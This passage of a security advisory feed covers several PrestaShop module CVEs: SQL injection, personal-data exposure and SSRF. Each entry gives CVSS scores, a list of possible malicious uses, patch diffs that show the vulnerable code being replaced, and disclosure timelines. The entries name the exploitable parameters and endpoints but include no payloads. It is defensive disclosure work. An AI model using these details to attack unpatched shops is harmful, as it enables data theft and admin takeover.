</span><span class="gi">+           $emailNewsletterPop = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;getValue('SELECT `email` FROM `'._DB_PREFIX_.'newsletterpop` WHERE `email`="'.pSQL($email).'"');
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>newsletterpop</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-24</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-24</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-05-24</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2023-10-30</td>
      <td>Recontact PrestaShop Addons security Team about the patch</td>
    </tr>
    <tr>
      <td>2023-10-30</td>
      <td>PrestaShop Addons security Team confirms a patch has been published</td>
    </tr>
    <tr>
      <td>2023-10-30</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-08</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-09</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/newsletter-sms/27119-newsletter-popup-pro-with-voucher-coupon-code.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-47308">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Newsletter Popup PRO with Voucher/Coupon code” (newsletterpop) up to version 2.6.0 from Active Design for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-40923] Improper neutralization of an SQL parameter in MyPrestaModules - Orders (CSV, Excel) Export PRO module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/09/ordersexport.html" rel="alternate" type="text/html" title="[CVE-2023-40923] Improper neutralization of an SQL parameter in MyPrestaModules - Orders (CSV, Excel) Export PRO module for PrestaShop" /><published>2023-11-09T00:00:00+00:00</published><updated>2023-11-09T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/09/ordersexport</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/09/ordersexport.html"><![CDATA[<p>In the module “Orders (CSV, Excel) Export PRO” (ordersexport) from MyPrestaModules for PrestaShop, an anonymous user can perform SQL injection up to 5.0. Release 5.0 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40923">CVE-2023-40923</a></li>
  <li><strong>Published at</strong>: 2023-11-09</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Vendor</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ordersexport</li>
  <li><strong>Impacted release</strong>: &lt; 5.0 (5.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: MyPrestaModules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Before 5.0, sensitives SQL calls in class <code class="language-plaintext highlighter-rouge">send.php</code> can be executed with a trivial http call and exploited to forge a blind SQL injection throught the POST or GET submitted “key” or “save_setting” variables.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Steal/Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/ordersexport/send.php
</span><span class="gi">+++ b/ordersexport/send.php
</span><span class="p">@@ -170,7 +170,7 @@</span> try {
     $config = array();
     $config = Tools::unserialize(Configuration::get('GOMAKOIL_EXPORT_ORDERS_SETTINGS','', $default_shop_group_id, $default_shop_id));
     $key = Tools::getValue('key');
<span class="gd">-    Db::getInstance()-&gt;delete('exported_order', 'settings="'.trim($key).'"');
</span><span class="gi">+    Db::getInstance()-&gt;delete('exported_order', 'settings="'.pSQL($key).'"');
</span>     unset($config[trim($key)]);
     $config_save =serialize($config);
     Configuration::updateValue('GOMAKOIL_EXPORT_ORDERS_SETTINGS', $config_save, false, $default_shop_group_id, $default_shop_id);
<span class="p">@@ -314,7 +314,7 @@</span> try {
       $automatic = Tools::getValue('automatic');
       $not_exported = Tools::getValue('not_exported');
       if(isset($automatic) &amp;&amp; $automatic &amp;&amp; isset($not_exported) &amp;&amp; $not_exported ){
<span class="gd">-        Db::getInstance()-&gt;delete('exported_order', 'settings="'.trim(Tools::getValue('save_setting')).'"');
</span><span class="gi">+        Db::getInstance()-&gt;delete('exported_order', 'settings="'.pSQL(Tools::getValue('save_setting')).'"');
</span>       }
       $json['success'] = $ordersexport-&gt;l('Data successfully saved!', 'send');
     }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>ordersexport</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-10-09</td>
      <td>Issue discovered during a code reviews by 202 ecommerce</td>
    </tr>
    <tr>
      <td>2022-10-10</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2022-10-10</td>
      <td>The author confirm the latest release is already fixed</td>
    </tr>
    <tr>
      <td>2023-08-15</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-09</td>
      <td>Publication of this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/data-import-export/17596-orders-csv-excel-export-pro.html">PrestaShop addons product page</a></li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40923">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Orders (CSV, Excel) Export PRO” (ordersexport) from MyPrestaModules for PrestaShop, an anonymous user can perform SQL injection up to 5.0. Release 5.0 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-43984] Exposure of Private Personal Information to an Unauthorized Actor in Smart Soft - Advanced Export Products Orders Cron CSV Excel module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/07/advancedexport.html" rel="alternate" type="text/html" title="[CVE-2023-43984] Exposure of Private Personal Information to an Unauthorized Actor in Smart Soft - Advanced Export Products Orders Cron CSV Excel module for PrestaShop" /><published>2023-11-07T00:00:00+00:00</published><updated>2023-11-07T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/07/advancedexport</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/07/advancedexport.html"><![CDATA[<p>In the module “Advanced Export Products Orders Cron CSV Excel” (advancedexport) in versions up to 4.4.6 from Smart Soft for PrestaShop, a guest can download personal information without restriction.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43984">CVE-2023-43984</a></li>
  <li><strong>Published at</strong>: 2023-11-07</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: advancedexport</li>
  <li><strong>Impacted release</strong>: &lt;= 4.4.6 (4.4.7 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Smart Soft</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control and predictable (or easily brute-forcable) filename, a guest can access exports from the module which can lead to leak of personal information from ps_customer table such as name / surname / email / postal address / phone number.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-01</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-01</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-08-01</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2023-09-07</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-27</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-07</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>You should restrict access to this URI pattern : modules/advancedexport/csv/ to a given whitelist</li>
  <li>You should restrict access to .csv file to a given whitelist</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/data-import-export/6927-advanced-export-products-orders-cron-csv-excel.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-43984">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Advanced Export Products Orders Cron CSV Excel” (advancedexport) in versions up to 4.4.6 from Smart Soft for PrestaShop, a guest can download personal information without restriction.]]></summary></entry><entry><title type="html">[CVE-2023-45380] Exposure of Private Personal Information to an Unauthorized Actor in Silbersaiten - Order Duplicator – Clone and Delete Existing Order module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/07/orderduplicate.html" rel="alternate" type="text/html" title="[CVE-2023-45380] Exposure of Private Personal Information to an Unauthorized Actor in Silbersaiten - Order Duplicator – Clone and Delete Existing Order module for PrestaShop" /><published>2023-11-07T00:00:00+00:00</published><updated>2023-11-07T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/07/orderduplicate</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/07/orderduplicate.html"><![CDATA[<p>In the module “Order Duplicator – Clone and Delete Existing Order” (orderduplicate) in versions up to 1.1.7 from Silbersaiten for PrestaShop, a guest can download personal information without restriction.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45380">CVE-2023-45380</a></li>
  <li><strong>Published at</strong>: 2023-11-07</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: orderduplicate</li>
  <li><strong>Impacted release</strong>: &lt;= 1.1.7 (1.1.8 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Silbersaiten</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a> <a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control, a guest can download personal information from ps_customer/ps_address tables such as name / surname / phone number / full postal address.</p>

<p>Be warned that this is not the only IDOR available in this module, patch it quickly.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
  <li>Delete data</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>You should restrict access to this URI pattern : modules/orderduplicate/ to a given whitelist</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-07-03</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-07-03</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-07-11</td>
      <td>PrestaShop Addons security Team confirms versions scope</td>
    </tr>
    <tr>
      <td>2023-10-08</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-07</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/registration-ordering-process/19043-order-duplicator-clone-and-delete-existing-order.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45380">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Order Duplicator – Clone and Delete Existing Order” (orderduplicate) in versions up to 1.1.7 from Silbersaiten for PrestaShop, a guest can download personal information without restriction.]]></summary></entry><entry><title type="html">[CVE-2023-43982] Server-Side Request Forgery (SSRF) in Bon Presta - SocialFeed - Photos &amp;amp; Video/Reels using Instagram API for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/02/boninstagramcarousel.html" rel="alternate" type="text/html" title="[CVE-2023-43982] Server-Side Request Forgery (SSRF) in Bon Presta - SocialFeed - Photos &amp;amp; Video/Reels using Instagram API for PrestaShop" /><published>2023-11-02T00:00:00+00:00</published><updated>2023-11-02T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/02/boninstagramcarousel</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/02/boninstagramcarousel.html"><![CDATA[<p>In the module “SocialFeed - Photos &amp; Video/Reels using Instagram API” (boninstagramcarousel) up to version 6.0.0 from Bon Presta for PrestaShop, an anonymous user can perform a Server-Side Request Forgery (SSRF).</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43982">CVE-2023-43982</a></li>
  <li><strong>Published at</strong>: 2023-11-02</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: boninstagramcarousel</li>
  <li><strong>Impacted release</strong>: &gt;= 5.2.1 &amp; &lt;= 6.0.0 (7.0.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Bon Presta</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918</a></li>
  <li><strong>Severity</strong>: critical (9.1)</li>
</ul>

<h2 id="description">Description</h2>

<p>An improper validation of the <code class="language-plaintext highlighter-rouge">url</code> parameter in the <code class="language-plaintext highlighter-rouge">insta_parser.php</code> script can be executed via a trivial HTTP call to forge Server-Side Request.</p>

<p>This vulnerability can be exploited to initiate an HTTP request and get the return, for instance, use the vulnerable website as a proxy to attack other websites, exfiltrate data in files under IP restriction or perform a path traversal attack.</p>

<p>Since it’s a design issue, we cannot provide a patch, you should consider upgrading or deleting the module.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Attack other websites via the vulnerability</li>
  <li>Bypass WAF/.htaccess restrictions</li>
  <li>Perform a path traversal attack using the wrapper : file://</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module to its latest version</li>
  <li>You should restrict access to modules/boninstagramcarousell/controllers/back/ to a given whitelist</li>
  <li>Activate OWASP 931’s rules on your WAF (Web application firewall), be warned that you will probably break your frontoffice and your backoffice and you will need to pre-configure some bypasses against these sets of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-04</td>
      <td>Issue discovered during a code review by <a href="https://ambris.com/">Ambris Informatique</a> and <a href="https://www.touchweb.fr/">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2023-08-04</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-08-21</td>
      <td>PrestaShop Addons security Team confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-09-21</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-28</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-02</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/sliders-galleries/27475-socialfeed-photos-video-reels-using-instagram-api.html">PrestaShop addons product page</a></li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43982">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;Ambris.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “SocialFeed - Photos &amp; Video/Reels using Instagram API” (boninstagramcarousel) up to version 6.0.0 from Bon Presta for PrestaShop, an anonymous user can perform a Server-Side Request Forgery (SSRF).]]></summary></entry><entry><title type="html">[CVE-2023-40922] Improper neutralization of SQL parameter in KerAwen module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/02/kerawen.html" rel="alternate" type="text/html" title="[CVE-2023-40922] Improper neutralization of SQL parameter in KerAwen module for PrestaShop" /><published>2023-11-02T00:00:00+00:00</published><updated>2023-11-02T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/02/kerawen</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/02/kerawen.html"><![CDATA[<p>In the module “KerAwen” (kerawen) up to version 2.3.81.1 from KerAwen for PrestaShop, an anonymous user can perform a SQL injection.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40922">CVE-2023-40922</a></li>
  <li><strong>Published at</strong>: 2023-11-02</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: kerawen</li>
  <li><strong>Impacted release</strong>: &lt; 2.5.1 (2.5.1 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Kerawen</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">KerawenDeliveryModuleFrontController::initContent()</code> has a sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<p><strong>WARNING</strong> : The exploit will bypass most WAF due to its design. Patch it quickly.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Steal/Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/kerawen/controllers/front/delivery.php
</span><span class="gi">+++ b/modules/kerawen/controllers/front/delivery.php
</span>                                case 'updateDeliveryDate':
                                        if ($id_cart &amp;&amp; Tools::isSubmit('delivery_date'))
                                        {
                                                $date = date(Tools::getValue('delivery_date'));
                                                Db::getInstance()-&gt;execute(
                                                        'INSERT INTO `'._DB_PREFIX_.'cart_kerawen` (id_cart, delivery_date)
<span class="gd">-                                                        VALUES ('. (int) $id_cart .', FROM_UNIXTIME('.$date.'))
</span><span class="gi">+                                                        VALUES ('. (int) $id_cart .', FROM_UNIXTIME("'.pSQL($date).'"))
</span>                                                        ON DUPLICATE KEY UPDATE delivery_date = VALUES(delivery_date)');
                                        }
                                        break;
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>Kerawen</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-12-13</td>
      <td>Issue discovered after security audit by <a href="https://www.touchweb.fr">TouchWeb.fr</a> and documented by <a href="https://www.202-ecommerce.com/">202-ecommerce.com</a></td>
    </tr>
    <tr>
      <td>2022-12-13</td>
      <td>Contact author</td>
    </tr>
    <tr>
      <td>2022-12-20</td>
      <td>Recontact author</td>
    </tr>
    <tr>
      <td>2022-12-20</td>
      <td>The author confirm the vulnerability</td>
    </tr>
    <tr>
      <td>2023-01-04</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-08-15</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-25</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-02</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://kerawen.com/logiciel-de-caisse/">Product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-40922">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “KerAwen” (kerawen) up to version 2.3.81.1 from KerAwen for PrestaShop, an anonymous user can perform a SQL injection.]]></summary></entry><entry><title type="html">[CVE-2023-44025] Improper neutralization of SQL parameter in Addify - Free Gifts module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/31/addifyfreegifts.html" rel="alternate" type="text/html" title="[CVE-2023-44025] Improper neutralization of SQL parameter in Addify - Free Gifts module for PrestaShop" /><published>2023-10-31T00:00:00+00:00</published><updated>2023-10-31T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/31/addifyfreegifts</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/31/addifyfreegifts.html"><![CDATA[<p>In the module “Free Gifts” (addifyfreegifts) up to version 1.0.2 from Addify for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
